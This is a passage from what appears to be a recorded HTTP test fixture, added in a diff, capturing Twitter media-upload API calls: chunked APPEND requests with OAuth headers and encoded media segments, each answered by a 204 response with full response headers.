"x-access-level": "read-write-directmessages", + "x-connection-hash": "409842ae67c90d017e967aa8310c3e65", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19922", + "x-rate-limit-reset": "1587864356", + "x-response-time": "31", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "0049cc9500d19cd7", + "x-tsa-request-body-time": "64", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"cF0%2F1bNCsV5zG8vEINfrncApyjo%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=EQfEJ57ZpHhVnGFGDfLVjR8B3yGRWJuHBNAtFOgrwEp4AZEHJNuV5FoJDkJaFyLuaXy%2BVHaIoUo5XJCPtxbNejcbjxIPZd3x7trT3980ZSNGYfsf5X%2FG2SfQP%2F10wl%2FaiDihkOPBM27bVeKGBr01i%2Fl5sn5s5fapyof4Ac%2FtxJvmayr%2F8xeWmynGzKJE%2Fcv%2B1IGII6mFEgzntjMad30HhNoM%2BcgIxbz4Ej3Jyb0Ru1i6eI8EU2d1ePn97kTmJgUigGdRfw7VoGhAFmqEsbB4DoRECqo4ZEjMXz1YE%2F4LtWfUsGP1lzktM7OrwRZkCw8OdYw3%2BCuhlRFYlNNBXdrr8UQzEcprEH%2FnFv9Zul8bIQYMPM0V0Yz1zNZ%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uEc0eYJZg3NQoyYAMNTwjEooGB%2F%2BP3afg71XmnFFddVKA8V1YdlsAKK%2FFcwn17w9qIdZ8BBaGLC5s%2F1A%2F3jhgxKNY9WBypCq6A0oJS4RY%2Fql8ci7vz%2FhPECQVUBFeFqiEr0PYF0AYn6Q4BK2kD8gjyDr9WKv9W7r16e1r9XLEclEfr0mSCjjkesLPJbEE9q6UrQRUEjb82Yen8n64XKGB0amOWor%2F5YYMRnGJGMeukzg1sn2HqvwnJeOl90lzqer1bml6Qd%2BiKJr1cJcpihjxlcrfhz5hxs2FcR%2Feao3wNiFVB1Gtj2EAAQAeI8Z86D2nwP8VUTjANZyx4IZrdFAMjaGpymgXG581mIxmjY6X1W3HXoDdb2zllHTVv1Xoe1Ec%2BiL6grhA40yg8FFY0B1%2BLRqPS44Y1IUVTYZf8jsME3DBB0swdWNIbX8Q1Dw09OQg0sOCbgguaeBiovy0H2F3w4XML8s6zRvPsW19kSLX1NzkwnxHPkxLSprD8ONtBVyEW38VnLBQqznz6qirjXWNfJpEleuJ61e79k%2BS6bqku5ZLvL1ziChzLYcaQGvznXFsQ8XICN656t98v2R9hiV7A%2BBBpvHjTK0qPV4nDw1CF5o%3D&media_id=1254206535166763008&segment_index=31" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:11 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:11 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_D67vLVKLcDBrdt0\/+zwywA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113111947894; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "b6bec65fa7585c6ee43b82b75e3deb25", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19921", + "x-rate-limit-reset": "1587864356", + "x-response-time": "40", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00eb298800bc5625", + "x-tsa-request-body-time": "64", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"xwYf7TyiVWODvWVfy1mzcgxFdyQ%3D\"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h2eVAYRcZEqI39OmrIZQafrx5AncKT3UDJ9hw%2Bkxrwl2DUmD0Z%2F4iU0fPqv2VLX5fPT7kIqf%2FzEen2CsTu7xldKW735CMbU4989WDVGf%2B77qte6%2B%2B%2F1w8XXU3mJSuTyXpnMdlKwMilKH8OEl%2BsfEgnAXy%2F3qiv1%2ForlWCa%2BZBKJMDZkX3X5hBWP9cvznWg0Yz3%2FPY%2Fjxckt8l4atD0b8Pw%2FxY%2FhXtFY2POhUfHDVv9a9NfL836v0%3D&media_id=1254206535166763008&segment_index=32" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:11 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:11 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_sPtkYBQwqr2JsQjNTnco+g==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113173181716; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:11 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "bc6ae6c592e5f967e286c387d2af69f5", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19920", + "x-rate-limit-reset": "1587864356", + "x-response-time": "29", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00b4e86400736033", + "x-tsa-request-body-time": "63", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"u5p0zGnwSZ%2FshDG2EmuOjv7J%2BA4%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=X6xSea97uvZLbpMv6%2B9AOS%2FglLn837V61%2Brq8WR6aHecVXgr6bnpQHjgw%2FQOuw1nUa%2FQGxBvL%2FwvutK0xVLzBAH%2F89SWhV%2F7vJ%2F11dcRz1JX5bnIP9fd14ndPpFn8EPYI19XrqS%2Fz1w6nB%2BvHibv3fdn89%2F45dSfsn7%2Fho0s7r7YnrsB%2FBDsilpbL9X4mtU6U5B%2BCTj5cPl%2Bbevwzu1UqQel%2F%2BGhgY7vd7mobnf5EvlLpnyl66b9W72%2Ftb1fvuXxRsex6pXYJCtr4frL89S6wZN%2F%2BsVeuFejayea%2F%2Fo6R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1v2ZPDKov3%2B50q9VdB49J%2BJvhXsO3KuQBz9fVAAIWWzhfyTEhCk0SPMUgTXbdgOASQUkCQVCgSCYWCgoC4kDIYCwVCwUEwlCgVEQUCoTCoUCYVEJnrz68z7e3e6r4%2B13Eq8iaykZK1ZJY7f6vDq%2F3%2BZPd%2Fs1kHU%2FgEHceev%2Bxj%2BzbSI0tN%2FFAXHl0iBXN%2Bv6fZ2BMN8Xz8FEDPWxiJSfcujHIH5l%2BVW7bosrjdWVhC3rIO5Q24OUuv2y59%2FKpbjQHsLzg72wTWtJG%2FuMq6ZI3WeJfuh7B3PNfYWVwAW3%2FIBBAlTCRleYrMmVLyCJKJBCoHAAAADt0GaNA0KBX2hOU3r3698103Ovf%2BssE%2Fqtj9Zf9F9Ivf%2F9q%2F%2FS%2FEK52rn%2Fuiudd%2BiN3Ja%2Bq69erJ6eW1ccIVg4IfCFUpX0O7fa5fNVyXfN%2BtV6s%2FVyT11W6vL6uZP39a90CSf8EcZEX8Ha5fq39Du1bPXr0k6%2FqWM9bT%2BqQHKrd2KV1I%2FffVPzdXd%2Brn69fSwip1dN56jTWP%2BTWI5V74uvU1%2BuV%2Bp0ye%2F%2FL69drlfr1erD5b6Xi79Yv%2B6ov9XSL%2BrWK9Vq7x3w%2Blb9cq9e7V5PWvyn43qfLq%2Fiax2vRnO%2FCFXPnrmvCO7l9Yq9bBe84IAy39xocvzWsq9avl5nXKT1sluI9X%2FWL8MTw9Y6ZrTLcXr3TsDX7noQll8ElJ9qt0DSrtddyWvd7P77Wu1f1VqJ%2Bf1VE161V165fm45MM%2Fx%2B2yGn%2BwTJeMWgNWk%2F%2BMl3pNsSsW5r8i9A%2Fqxfnr46mPry06dX%2BuvzeVQ4hf1qrXu%2B%2Bv1Xq9ak8Edd7lvr%2FXD8u9%2ForknojHeT6%2F3e%2F4mc6j3vXq4%2Bc%3D&media_id=1254206535166763008&segment_index=33" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:12 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:12 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_LeknfK9dQwZSovacV8++5A==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:12 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113236480030; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:12 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "60d3866bcb46b8e22ecc495dc593a980", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19919", + "x-rate-limit-reset": "1587864356", + "x-response-time": "34", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00dc5a2200042a35", + "x-tsa-request-body-time": "101", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"joWsCAjLP4KAy3o7y5hTgsRIvXY%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=r7kP0%2Fq4XhfH6d36xuv%2F9WH17%2BrV6u%2FW%2FcT4nHRwrArx0ACfBDHJyNSLj9%2BF9ErAbDHgUrEql1JhoPye9u%2FzEe9eiu%2FNlxrXlvmxeuHfdfXrV03qtS%2BrXUrVusX4TIqwQth0cuf%2BCQsmZRV4s174Ze35yqNtHp%2Ba%2B5PXX1G%2BrvwQ6Tv1%2BTCXh0b67xu0BBldZbKMDJvEC4Po5xuVgLtAUPuj0T378VNlengpiYqzx993d2evom4%2BOJ%2BQtKQfV99yerSaSJ1X33V934jIEAUe0wMOSGatdfmjQIvQM8lZs3qrOVVysf9WHyEH4xw93f6xS44QU7DzR6yeiYdq92tS6%2Fojh%2BCSjLRYTn4opA3QbkpsgxyfJhxmhAbRr4a8tGJjFopz9eTMw3T%2BXnox%2FXD8%2FUkJBgnQ%2BvR2fhvNLjEPeeMHnglX5jSQ%2Fgkw8kpfb9WO11XgijgXoAqeXDhBO6PeT09%2FwgILuP56fr4jV1aOztW%2FNSSyk%2B%2FXOKWMjPet68ERbET7H6wTeettAxhE%2F6JF2cSvj%2BKH%2FghlEG179fheid%2BsH61IrzlY7ll9nQIrtXLVGEVeOxn3TXXkImMgo%2F7Joo5mvR4q8%2FX%2BMIn1d%2B%2B7%2FVquvBCZ3QL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eT0%2F6gh18Si1J6EOd14J%2B78ZVqd9%2BhLTPEdW9iVyq%2F1KD9EeEvZjX1ABJBSQRBQJBULBQThkLhQMBYSBYKhYKhQaiQahQrhErk1nv9eMpx4TSZdJLyqvKhrRNDi%2Bov%2F4v1etvV%2FWtMv7%2FfWekr4WRL4g38rzr6fL1%2F3NKg7%2FaJTOno5fYa4T66IIL%2BntHJAcwRF%2BljorngTxp81ZdRcc%2FVNS7pWYupGkNnjMTDC6vNj8lwHZVF8k3LGPXFfr9BKxSrEfENOe0j2dOiH1Jl5OP7fTEIRoGbUY7%2B5gPD18Pz7QdFfs6WnIsEl%2B%2FmAwThGUE%2BNk4SvdSkCqnJD8VwcBLFSRMCYyDUKGYKBULFQRhEar3bvqu1t3lynW0q93zdVVS3Umhu3B8i5n6HifRdAeOnqf9AC8BeiRG2SZ9Mi7ClXySxMNVfP9NQ%2BBcw8jR34rvwWOw5K9%2Fbgn7l8LzZkFfhQD1EN2t4z6WmzEzcFvMRQqcQKAnhTpACukT3hO6Dukf1Mlms%2B2H0cN72Di900ADVezySUBdN5%2BrIaKnTspLfdeirRVFk4TVC1zrvisZ8psIRpN52TmslJ7E6b4iGmvaYP%2FkKIe2%2Ff%2FE3V3%2BzsfMNQMfz%2FtyMHDTPPVZZO8hWVOVgcBKJn%2BDRgs0LGEpEty9W55a%2BAZMPXFNV8C6tfqqsDRk5arfV5Jj1CFqaSQZTCh6%2BGvr%2BlC%2FxnPyppRfF31Omuqf79VWiw%2F8W7qqKWlpd5ofgOx%2BJO8o30ndVUQicgSGhgBrJSaGmq3yO%2F13oPXPl5E1%2BQrl128UJSzhnAB1UUlFWA%3D&media_id=1254206535166763008&segment_index=34" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:13 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:13 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_sPZseav4pgpuY36mSmyWmg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:13 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113300928181; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:13 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "41fb9c88dcebd7dbf17116c5d943f468", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19918", + "x-rate-limit-reset": "1587864356", + "x-response-time": "31", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "005f7d3d00262995", + "x-tsa-request-body-time": "96", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"1k4bVPzPmjF9bEiiMhNM91kel38%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=FrzIUEA35hfUKG5UuITZqR3xIfoa2io2qxvVUiDfcYcqMY80m%2BNtwxl4E4ZEMYLqoT88Tn5lU%2BN1i%2FhSacUO4uiXCmtCE7dxEAkuOBIx3JRJZjO1%2FTIXYfx6Q9X5h6PaL%2FZJTXAO7sHAe8eCB7Ra57wgbJnAASzUlCgVCglCwYCgmDAmFAUFAUCQVCQTCRFCIVDAUCwUCJmuZe%2Fdrjut%2Bd5d5fUUiuePCk81aaDlx92aH3p2v%2F%2FTPfTtdyDwsyio3j1LGLFCvYVqZdqN5LUaS%2BLcj8TRJgovZ0AV5IrhrTnHvQRNNW6bz3NxhstuUg1HMhcrFxjrIeB%2BFXtvJZS%2BXB2e8IbPWAzj6e3%2B3h80hskm0wCsO2pAcqFbu9Ia2%2BtWfdpVRVzFagjXbhIJADjfo%2FNX7S316KxoSj5yTLoqDHXkL4JQUikinPBAHAEmFJCqFgwEwsVAsJAwJBKFBkFBqFgoFgqETJ3Uv1nxW78WNcz2zWF8tbzLaXU0OIaM5ztGt3Zf3w9D%2FAO8F9XGxN6f5ZZgWiPz9e%2BxJw%2FmfhjdH03%2F2NBadVbilmAlxGFdIEEsNg8hHcb8WNukqnbhD%2Ffh4SsXB2u4nprkT2yc8Gd0vld7xGrmpa8kGyt2ZoMfgFcC%2FLv35e%2BKzJ7pkO4PucyAeKBF2fyW569Rv7ltSDNQD9fwp2AQAHPp7fYOjle1cUbI2qtc4y%2Bys4L3%2BtJ27x4HjZSpk8sAcAEkVJDQJ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Vclr1evfrKT16vVu11Sa0WY8D0CLv4JVOn6J3f69Qhe66Xv1i7%2FXu16sv9erVfH69y0T%2B%2F7uhy%2BrdexS%2Fr14Pa%2B%2FVsdl7J%2BJVna%2FD9dfLfE%2FqyT33cl9rysgpXXq2K8ct%2BrJ7%2F6tfE%2FLLfVFX3%2Buv1y8lFq%2FRHO6vv9esUv6ufr3%2FtXS16%2Bmut1b9e7V1eQiyM%2BquF6OW7VKBL%2BIr1aX1y9Hq%2B%2B1qafl%2FXpPX2T3%2FWXtWKtaqdel9Xfr6T1qT11V363%2FWVRP61IuTr1qWJVq5qtXr1i6K%2FWCS5LWLu%2FWNfhslNDdZ41%2F6yt%2Br8foIhHtfFX%2BvVLE2rS%2BCTusW%2FU28N1tep0r0XV%2BQmOpjL69d1P83XxK98svr0%2Fgkj4gPAL34m0kwNAO9P4I5WP1eYvPla4c0OVLJx41Y9v1y%2F%2Bv5M6jvXcblXXN69NnrX6xyvXKvBJdvcl8WRE9AcwYaluvFY0tq8Qr2Pr%2Bi9IrxF6XDyEd076x%2Fu7v16vWq4ubzGhPyj57%2BPsAxiDzw0AzwQeZQdD828OJML2J2nfkFbuvRa1a1692cvf44vy3svw3Y%3D&media_id=1254206535166763008&segment_index=35" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:13 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:13 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_aJQMklx7Tiw90ID5EjVhWw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:13 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113365613628; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:13 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "dd58c9d151e4bbc61166b1ef80ed86fb", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19917", + "x-rate-limit-reset": "1587864356", + "x-response-time": "34", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "008a6f770012022e", + "x-tsa-request-body-time": "101", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"PvsKYgEj6JMj%2Fxpadfwg2JaitD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rzkX2xkg3C5PRZTeru3vSIK5%2FXpfR8vzEvZv1y%2FJfKiXrKr%2FNMGkBCovylff6MyM%2BsbvEYi0djuT2aQY2yeuv0VwJv8hMbETfyT02BrJvNvGibuvIeem%2FQiquW7u77R4u6V5jaof0WpMJiURqgyJ1COj5cExPD%2FckJa5TJ9CMtVZ6nUX%2BvOdfw0knOy5IfzXQO69Ysn5%2Fnr5Uxo9aSsxrG7GvQlzv9Gcnvd6E5fqlaurXpL7yfkn8vsj06sEl33GwRbt9ZPb%2FDXdtfRJonu%2F9EgjfRWGwQ6dNor0fVk9P973LZhT7nupUJy55PQjoz0eqvtW7ifMV9xdvu5IAAASxQZo9D0oFf6Fxdq532vfqx%2BsXdevv1bn7q11wS%2FXX3%2F8n610%3D&media_id=1254206535166763008&segment_index=36" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:32:14 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:32:14 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_RJ1HqzciWxnQE3UVX\/qwlg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:14 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786113431585987; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:32:14 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "b42018183e0f571868fea227c91736a0", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19916", + "x-rate-limit-reset": "1587864356", + "x-response-time": "32", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00a68c7200021694", + "x-tsa-request-body-time": "97", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", 